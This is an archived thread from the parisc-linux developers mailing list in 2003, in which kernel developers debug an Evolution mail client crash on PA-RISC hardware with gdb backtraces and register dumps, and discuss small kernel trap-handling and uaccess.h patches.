	by dsl2.external.hp.com (Postfix) with ESMTP id 2AF844841
	for <parisc-linux@parisc-linux.org>; Sat,  8 Nov 2003 14:11:16 -0700 (MST)
Original-Received: from [62.235.120.220] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AIaMU-0008I9-Nw; Sat, 08 Nov 2003 22:11:14 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031024 Debian/1.5-2
X-Accept-Language: en
In-Reply-To: <20031108155247.GC21080@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20030

Well it seems that i reach to reproduce: just after a fresh reboot:

I first export LD_LIBRARY_PATH=/usr/lib/debug
then launch gdb with "handle all nostop" and "handle all pass" (as 
recommended in a previous mail),
(gdb) file /usr/bin/evolution
(gdb) run

all start fine until I point a mail to preview it in the preview's window.
Then a child process failled, so Ctrl-C in gdb and bt:
#0  0x4172005c in __pthread_sigsuspend () from /lib/libpthread.so.0
#1  0x4171fde0 in __pthread_wait_for_restart_signal ()
    from /lib/libpthread.so.0
#2  0x4172181c in __pthread_alt_lock () from /lib/libpthread.so.0
#3  0x4171e480 in pthread_mutex_lock () from /lib/libpthread.so.0
#4  0x41a7226c in free () from /lib/libc.so.6
#5  0x41993654 in g_free () from /usr/lib/libglib-2.0.so.0
#6  0x413453e0 in gtk_tooltips_new () from /usr/lib/libgtk-x11-2.0.so.0
#7  0x41345c68 in gtk_tooltips_set_tip () from /usr/lib/libgtk-x11-2.0.so.0
#8  0x407a6768 in bonobo_ui_toolbar_item_set_tooltip ()
    from /usr/lib/libbonoboui-2.so.0
#9  0x407a12fc in bonobo_ui_sync_status_new () from 
/usr/lib/libbonoboui-2.so.0
#10 0x4079bfb0 in bonobo_ui_sync_state () from /usr/lib/libbonoboui-2.so.0
#11 0x407963a0 in bonobo_ui_engine_get_view () from 
/usr/lib/libbonoboui-2.so.0
#12 0x407966b4 in bonobo_ui_engine_get_view () from 
/usr/lib/libbonoboui-2.so.0
#13 0x40796d10 in bonobo_ui_engine_update () from 
/usr/lib/libbonoboui-2.so.0
#14 0x40793b5c in bonobo_ui_engine_xml_set_prop ()
    from /usr/lib/libbonoboui-2.so.0
#15 0x40898dfc in _ORBIT_skel_small_Bonobo_UIContainer_setAttr ()
    from /usr/lib/libbonobo-2.so.0
#16 0x40b05174 in ORBit_c_stub_invoke () from /usr/lib/libORBit-2.so.0
#17 0x4089d6c4 in Bonobo_UIContainer_setAttr () from 
/usr/lib/libbonobo-2.so.0
#18 0x4078dc84 in bonobo_ui_component_set_prop ()
    from /usr/lib/libbonoboui-2.so.0
#19 0x4078db8c in bonobo_ui_component_set_prop ()
    from /usr/lib/libbonoboui-2.so.0
#20 0x41ecbf08 in mail_disable_stop ()
    from /usr/lib/evolution/1.4/components/libevolution-mail.so
#21 0x41ecb074 in mail_call_main ()
    from /usr/lib/evolution/1.4/components/libevolution-mail.so
#22 0x41ec9a00 in mail_msg_wait_all ()
    from /usr/lib/evolution/1.4/components/libevolution-mail.so
#23 0x419b5044 in g_vsnprintf () from /usr/lib/libglib-2.0.so.0
#24 0x4198c904 in unblock_source () from /usr/lib/libglib-2.0.so.0
#25 0x4198ddcc in g_main_context_dispatch () from /usr/lib/libglib-2.0.so.0
#26 0x4198e1c0 in g_main_context_dispatch () from /usr/lib/libglib-2.0.so.0
#27 0x4198eb70 in g_main_loop_run () from /usr/lib/libglib-2.0.so.0
#28 0x40881490 in bonobo_main () from /usr/lib/libbonobo-2.so.0
#29 0x0009deb8 in main ()
#30 0x41a1146c in __libc_start_main () from /lib/libc.so.6
#31 0x00022e10 in _start ()
----------><----------

At the console, I could always capture:

request_module[net-pf-10]: fork failed, errno 1
evolution (pid 879): Protection id trap (code 27)

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001111 Not tainted
r00-03  00000000 103b7524 1015352c 00282b28
r04-07  00000000 00000000 00000001 11f27da0
r08-11  00000000 00000001 13084548 fffffff2
r12-15  419ee608 419ee718 419345a8 419345a8
r16-19  419ee608 419345a8 00000070 1371d000
r20-23  00000000 00000002 00282b2e 00000000
r24-27  11f27da0 00000000 10d0b520 10304010
r28-31  00000000 10314a60 130845c0 101532c8
sr0-3   00000000 00000000 00000000 00000003
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10153658 1015365c
  IIR: 0ed4d240    ISR: 00000003  IOR: 00282b2e
  CPU:        0   CR30: 13084000 CR31: 103a8000
  ORIG_R28: 419345a8

----------><----------

while I can still see processes:
$ ps -ef | grep evol
root       869   863  8 17:15 pts/2    00:00:35 /usr/bin/evolution
root       875     1  0 17:16 ?        00:00:02 
/usr/lib/evolution/1.4/evolution-wombat 
--oaf-activate-iid=OAFIID:GNOME_Evolution_Wombat_InterfaceCheck 
--oaf-ior-fd=25
root       877     1  0 17:16 ?        00:00:02 
/usr/lib/evolution/1.4/evolution-alarm-notify 
--oaf-activate-iid=OAFIID:GNOME_Evolution_Calendar_AlarmNotify_Factory 
--oaf-ior-fd=27
root       879   869  0 17:16 pts/2    00:00:00 [evolution] <defunct>

----------><----------

Unfortunately:
# gdb program 879
GNU gdb 5.3-debian
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain 
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "hppa-linux".
Attaching to process 879
ptrace: Operation not permitted.
/root/879: No such file or directory.

----------><----------

Once again if I re-launch prgm, I do get any more the pb?

What do you think?

Thanks for help,
	Joel

PS1: I would try to see if can can reproduce it (just after a fresh 
reboot) on my b2k (Monday only)

PS2: Just as remainder, it is a fresh 'apt-get dist-upgrade' unstable 
debian runing on a c110 model with a merged kernel of mine 
2.4.23-pre9-pa13 (which, else where, seems to run perfectly in 32 and 64 
bits even in SMP mode on some L :) )


Carlos O'Donell wrote:
> On Sat, Nov 08, 2003 at 12:46:28PM +0000, Joel Soete wrote:
> 
>>More and more strange behaviour:
>>
>>after my weekly apt-get dist-upgrade i relaunch evolution,
>>it hang again at the same point with usual message:
>>evolution (pid 2999): Protection id trap (code 27)
>>[..]
>>
>>But if I launch it a second time no more pb???
>>
>>Very strange isn't it?
> 
> 
> Not at all! Anything is possible with some imagination :)
> If it's repeatable then we can catch it. Stick evolution under gdb and
> remember to preload a debugging libc and catch it when it crashes. Send
> the 'bt full' back to the list for analysis.
> 
> c.
> 



From - Thu Nov 08 21:29:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 carlos
Date: Sat, 08 Nov 2003 21:16:38 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <3FAD5D36.3000007@tiscali.be>
References: <20031108210057.7FFAB49402D@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622940 1146 80.91.229.3 (22 Nov 2014 02:22:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
	Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  8 14:16:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id A57A74841
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Nov 2003 14:16:24 -0700 (MST)
Original-Received: from [62.235.120.220] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AIaRT-0008Ti-TB; Sat, 08 Nov 2003 22:16:24 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031024 Debian/1.5-2
X-Accept-Language: en
In-Reply-To: <20031108210057.7FFAB49402D@palinux.hppa>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20031

Just because it still failed to boot on my b2k (Suckio pb), may I ask 
you your .config file (if it is not the defconfig) and also which 64bit 
compiler did you used.

Thanks again for additional help,
	Joel

Carlos O'Donell wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	carlos	03/11/08 14:00:57
> 
> Modified files:
> 	.              : Makefile 
> 
> Log message:
> Trap handling changes made. Boots on A500, 64-bit kernel. Bumped to -pa5
> 
> _______________________________________________
> parisc-linux-cvs mailing list
> parisc-linux-cvs@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux-cvs
> 



From - Thu Nov 08 21:29:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 carlos
Date: Sat, 8 Nov 2003 17:00:11 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <20031108220011.GJ21080@systemhalted>
References: <20031108205955.7039B49402D@palinux.hppa> <20031108205825.GI21080@systemhalted> <3FAD63B7.6020805@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622940 1148 80.91.229.3 (22 Nov 2014 02:22:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  8 15:05:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id E256F4841
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Nov 2003 15:05:10 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AIb7r-0006GT-00; Sat, 08 Nov 2003 17:00:11 -0500
Content-Disposition: inline
In-Reply-To: <3FAD63B7.6020805@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (67% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20032

On Sat, Nov 08, 2003 at 09:44:23PM +0000, Joel Soete wrote:
> +       case 13:
> +               if (user_mode(regs)) {
> +#ifdef PRINT_USER_FAULTS
> +                       printk(KERN_DEBUG "\nhandle_interruption() id=%d 
> command='%s'\n",
> +                           current->pid, current->comm);
> +                       show_regs(regs);
> +#endif
> +                       /* Conditional Trap
> +                          The condition succees in an instruction which 
> traps on condition  */
> +                       si.si_signo = SIGFPE;
> [...]
> +                       return;
> +               } else break;
> 
> (sorry for bad wrap but I also join the patch I suggested)
> 
> But you can prefer to ignore as it is just a work around and that I 
> don't yet see what other solution could be bring to such pb?

Adding the check for user_mode. Thanks Joel!
It seems that the kernel tries to use 'addi,tc' and a few other whichs
might generate a trap.

c.



From - Thu Nov 08 21:29:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] fork failed? protection id trap. All suspect.
Date: Sat, 8 Nov 2003 17:09:23 -0500
Lines: 50
Approved: news@gmane.org
Message-ID: <20031108220923.GK21080@systemhalted>
References: <3F969FFE00005DB3@ocpmta2.freegates.net> <3FACE5A4.7070003@tiscali.be> <20031108155247.GC21080@systemhalted> <3FAD5C01.7040302@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622940 1149 80.91.229.3 (22 Nov 2014 02:22:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:20 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, Matthew Wilcox <willy@debian.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  8 15:14:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF04A4841
	for <parisc-linux@parisc-linux.org>; Sat,  8 Nov 2003 15:14:19 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AIbGl-0006Hs-00; Sat, 08 Nov 2003 17:09:23 -0500
Content-Disposition: inline
In-Reply-To: <3FAD5C01.7040302@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (67% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20033

On Sat, Nov 08, 2003 at 09:11:29PM +0000, Joel Soete wrote:
> all start fine until I point a mail to preview it in the preview's window.
> Then a child process failled, so Ctrl-C in gdb and bt:
> #0  0x4172005c in __pthread_sigsuspend () from /lib/libpthread.so.0
...
> #29 0x0009deb8 in main ()
> #30 0x41a1146c in __libc_start_main () from /lib/libc.so.6
> #31 0x00022e10 in _start ()
> ----------><----------

This is a trace from another thread. You need to attach to the thread
that is going to die and try to get a backtrace. This thread was happy
:) until you interrupted it's sleeping.

> At the console, I could always capture:
> 
> request_module[net-pf-10]: fork failed, errno 1
> evolution (pid 879): Protection id trap (code 27)
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001000000000000001111 Not tainted
> r00-03  00000000 103b7524 1015352c 00282b28
> r04-07  00000000 00000000 00000001 11f27da0
> r08-11  00000000 00000001 13084548 fffffff2
> r12-15  419ee608 419ee718 419345a8 419345a8
> r16-19  419ee608 419345a8 00000070 1371d000
> r20-23  00000000 00000002 00282b2e 00000000
> r24-27  11f27da0 00000000 10d0b520 10304010
> r28-31  00000000 10314a60 130845c0 101532c8
> sr0-3   00000000 00000000 00000000 00000003
> sr4-7   00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: 10153658 1015365c
>  IIR: 0ed4d240    ISR: 00000003  IOR: 00282b2e
>  CPU:        0   CR30: 13084000 CR31: 103a8000
>  ORIG_R28: 419345a8
> 
> ----------><----------

I've never seen this perhaps some kernelish people would like to comment
on this?

 
> while I can still see processes:
> root       879   869  0 17:16 pts/2    00:00:00 [evolution] <defunct>

Try to find the thread that is going to die and attach to it.

c.


From - Thu Nov 08 21:29:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fdisk problems 2.4 <-> 2.6
Date: Sat, 08 Nov 2003 22:15:54 +0000
Lines: 55
Approved: news@gmane.org
Message-ID: <3FAD6B1A.6060605@tiscali.be>
References: <20031106222958.GJ26869@parcelfarce.linux.theplanet.co.uk> <3F969FFE000092BD@ocpmta2.freegates.net> <20031108015946.GC19436@colo.lackof.org> <3FACCC88.4010404@tiscali.be> <20031108194804.GA28929@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622941 1152 80.91.229.3 (22 Nov 2014 02:22:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:21 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Ruediger Scholz <rscholz@hrzpub.tu-darmstadt.de>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  8 15:15:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F1EA4891
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Nov 2003 15:15:41 -0700 (MST)
Original-Received: from [62.235.120.220] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AIbMp-0001rj-JS; Sat, 08 Nov 2003 23:15:39 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031024 Debian/1.5-2
X-Accept-Language: en
In-Reply-To: <20031108194804.GA28929@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20034

Any way, should it be this stuff (I don't notice it before):
----------><----------
--- uaccess.h.orig	2004-04-20 19:58:08.000000000 +0200
+++ uaccess.h-t1	2004-04-20 20:10:09.000000000 +0200
@@ -42,8 +42,8 @@
  #if BITS_PER_LONG == 32
  #define LDD_KERNEL(ptr) __get_kernel_bad();
  #define LDD_USER(ptr) __get_user_bad();
-#define STD_KERNEL(x, ptr) __put_kernel_asm64((u32)x,ptr)
-#define STD_USER(x, ptr) __put_user_asm64((u32)x,ptr)
+#define STD_KERNEL(x, ptr) __put_kernel_asm64(x,ptr)
+#define STD_USER(x, ptr) __put_user_asm64(x,ptr)
  #else
  #define LDD_KERNEL(ptr) __get_kernel_asm("ldd",ptr)
  #define LDD_USER(ptr) __get_user_asm("ldd",ptr)
----------><----------

But I presume it should reuired some cast so would it be better:
----------><----------
--- uaccess.h.orig	2004-04-20 19:58:08.000000000 +0200
+++ uaccess.h-t2	2004-04-20 20:10:41.000000000 +0200
@@ -42,8 +42,8 @@
  #if BITS_PER_LONG == 32
  #define LDD_KERNEL(ptr) __get_kernel_bad();
  #define LDD_USER(ptr) __get_user_bad();
-#define STD_KERNEL(x, ptr) __put_kernel_asm64((u32)x,ptr)
-#define STD_USER(x, ptr) __put_user_asm64((u32)x,ptr)
+#define STD_KERNEL(x, ptr) __put_kernel_asm64((u64)x,ptr)
+#define STD_USER(x, ptr) __put_user_asm64((u64)x,ptr)
  #else
  #define LDD_KERNEL(ptr) __get_kernel_asm("ldd",ptr)
  #define LDD_USER(ptr) __get_user_asm("ldd",ptr)
----------><----------

I don't test it but hth,
	Joel



Grant Grundler wrote:
> On Sat, Nov 08, 2003 at 10:59:20AM +0000, Joel Soete wrote:
> 
>>IIRC include/asm-parisc/uaccess.h
> 
> 
> get/put user stuff looks the same to me in both 2.4/2.6 cvs.
> I'm likely to forget forward porting 2.4 changes to 2.6 but I thought
> I got that in the last round. If someone trolls the parisc-linux-cvs
> archive and compares my commits for the past 2-3 monthes...
> 
> thanks,
> grant
> 



From - Thu Nov 08 21:29:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 carlos
Date: Sat, 8 Nov 2003 17:11:07 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <20031108221106.GL21080@systemhalted>
References: <20031108210057.7FFAB49402D@palinux.hppa> <3FAD5D36.3000007@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622941 1156 80.91.229.3 (22 Nov 2014 02:22:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  8 15:16:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E1454841
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Nov 2003 15:16:03 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AIbIR-0006IJ-00; Sat, 08 Nov 2003 17:11:07 -0500
Content-Disposition: inline
In-Reply-To: <3FAD5D36.3000007@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (67% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20035

On Sat, Nov 08, 2003 at 09:16:38PM +0000, Joel Soete wrote:
> Just because it still failed to boot on my b2k (Suckio pb), may I ask 
> you your .config file (if it is not the defconfig) and also which 64bit 
> compiler did you used.

Custom built 64-bit cross based on 3.3.1 release and upstream binutils.
Adding your fix for the suckio pb right now.

c.



From - Thu Nov 08 21:29:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evolution (1.4.5-1) 'protection id trap' [was: do_page_fault?]
Date: Sat, 8 Nov 2003 15:33:04 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20031108223304.GB28929@colo.lackof.org>
References: <3F969FFE00005DB3@ocpmta2.freegates.net> <3FACE5A4.7070003@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622941 1160 80.91.229.3 (22 Nov 2014 02:22:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:21 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  8 15:33:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C9A24841
	for <parisc-linux@parisc-linux.org>; Sat,  8 Nov 2003 15:33:05 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id D1EF6298037; Sat,  8 Nov 2003 15:33:04 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 30821-02; Sat, 8 Nov 2003 15:33:04 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 3B998298032; Sat,  8 Nov 2003 15:33:04 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3FACE5A4.7070003@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
